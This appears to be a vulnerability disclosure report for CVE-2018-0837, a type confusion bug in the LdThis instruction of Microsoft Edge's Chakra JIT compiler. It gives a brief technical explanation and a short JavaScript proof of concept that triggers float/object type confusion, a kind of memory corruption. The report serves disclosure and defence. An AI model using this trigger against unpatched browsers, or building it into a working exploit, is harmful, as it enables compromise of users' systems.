Microsoft Edge: Chakra: JIT: LdThis type confusion 

CVE-2018-0837


LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly.

PoC:
function opt(arr) {
    arr[0] = 1.1;
    this[0] = {};
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        opt.call({}, arr);
    }

    opt.call(arr, arr);
    print(arr);
}

main();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
